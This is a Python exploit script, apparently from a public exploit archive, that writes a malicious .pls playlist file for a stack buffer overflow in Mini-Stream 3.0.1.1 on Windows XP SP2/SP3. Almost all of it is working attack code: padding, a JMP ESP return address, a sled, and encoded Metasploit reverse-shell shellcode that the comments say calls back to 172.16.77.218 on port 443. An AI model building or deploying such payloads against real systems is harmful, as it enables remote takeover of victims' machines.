#!/usr/bin/python

# ...:| Code Fix/Patch for WinXP - English |:...

# Referenced: http://www.exploit-db.com/exploits/10745 - mr_me
# and fixed the offset as well as tested the exploit against WinXP SP2 and SP3
# Exploit against Mini-Stream 3.0.1.1 WinXP English
# 12.27.2009
# Author: Ron Henry - rlh@ciphermonk.net - dijital1
# Version: Mini-Stream 3.0.1.1
# Downloadable from: http://mini-stream.net/
# Tested against WinXP SP2 and SP3 - English

outputfile="astley.pls"


shellcode="\x44"*17403
#shellcode+="\xed\x1e\x94\x7c" # JMP ESP - SHELL32.dll Win XP SP2
shellcode+="\x53\x93\x42\x7e" # JMP ESP - USER32.dll Win XP SP3
shellcode+="CAFE"*8 # 32 Byte NOP Sled
# msfpayload windows/shell_reverse_tcp LHOST=172.16.77.218 LPORT=443 R | msfencode -e x86/alpha_upper -t c
shellcode+=("\x89\xe5\xda\xd6\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4d\x59\x45\x50"
"\x43\x30\x45\x50\x43\x50\x4d\x59\x4a\x45\x46\x51\x48\x52\x42"
"\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x50\x52\x45\x44\x4c\x4b\x43\x42\x51\x38\x44\x4f\x48\x37\x51"
"\x5a\x51\x36\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x43\x31\x4f\x37\x4d\x32\x4a\x50\x46\x32\x46\x37\x4c\x4b"
"\x51\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x47\x30\x42\x58\x4d\x55\x49\x50\x44\x34\x50\x4a\x45\x51"
"\x4e\x30\x46\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47"
"\x50\x45\x51\x48\x53\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44"
"\x4c\x4b\x43\x31\x4e\x36\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e"
"\x4c\x4f\x31\x48\x4f\x44\x4d\x45\x51\x4f\x37\x46\x58\x4d\x30"
"\x44\x35\x4b\x44\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x46"
"\x44\x42\x55\x4b\x52\x50\x58\x4c\x4b\x51\x48\x47\x54\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45"
"\x4c\x43\x31\x49\x43\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x46\x44\x46\x44\x51\x4b\x51\x4b\x45\x31\x46"
"\x39\x50\x5a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4c\x46\x51\x4d\x45\x38\x50\x33\x50"
"\x32\x45\x50\x43\x30\x42\x48\x43\x47\x43\x43\x50\x32\x51\x4f"
"\x51\x44\x42\x48\x50\x4c\x43\x47\x46\x46\x43\x37\x4b\x4f\x48"
"\x55\x4e\x58\x4a\x30\x45\x51\x45\x50\x45\x50\x47\x59\x48\x44"
"\x46\x34\x46\x30\x43\x58\x47\x59\x4b\x30\x42\x4b\x45\x50\x4b"
"\x4f\x49\x45\x46\x30\x50\x50\x46\x30\x50\x50\x47\x30\x46\x30"
"\x47\x30\x50\x50\x45\x38\x4a\x4a\x44\x4f\x49\x4f\x4b\x50\x4b"
"\x4f\x48\x55\x4c\x49\x49\x57\x42\x48\x4e\x4c\x42\x30\x50\x4d"
"\x48\x5a\x42\x48\x45\x52\x45\x50\x45\x51\x4f\x4b\x4c\x49\x4d"
"\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x43\x58\x4c\x59\x49\x35"
"\x42\x54\x45\x31\x4b\x4f\x4e\x35\x43\x58\x42\x43\x42\x4d\x42"
"\x44\x45\x50\x4c\x49\x4b\x53\x51\x47\x46\x37\x50\x57\x46\x51"
"\x4b\x46\x43\x5a\x44\x52\x50\x59\x50\x56\x4a\x42\x4b\x4d\x42"
"\x46\x4f\x37\x47\x34\x46\x44\x47\x4c\x45\x51\x43\x31\x4c\x4d"
"\x47\x34\x51\x34\x42\x30\x48\x46\x45\x50\x50\x44\x51\x44\x50"
"\x50\x46\x36\x50\x56\x46\x36\x47\x36\x51\x46\x50\x4e\x50\x56"
"\x46\x36\x46\x33\x51\x46\x42\x48\x43\x49\x48\x4c\x47\x4f\x4d"
"\x56\x4b\x4f\x48\x55\x4c\x49\x4d\x30\x50\x4e\x51\x46\x47\x36"
"\x4b\x4f\x50\x30\x43\x58\x45\x58\x4b\x37\x45\x4d\x45\x30\x4b"
"\x4f\x49\x45\x4f\x4b\x4c\x30\x4f\x45\x4f\x52\x50\x56\x42\x48"
"\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43"
"\x36\x43\x4c\x44\x4a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x45\x55"
"\x4f\x4b\x50\x47\x44\x53\x44\x32\x42\x4f\x42\x4a\x45\x50\x46"
"\x33\x4b\x4f\x4e\x35\x44\x4a\x41\x41")


FILE = open(outputfile, "w")
FILE.write(shellcode)
FILE.close()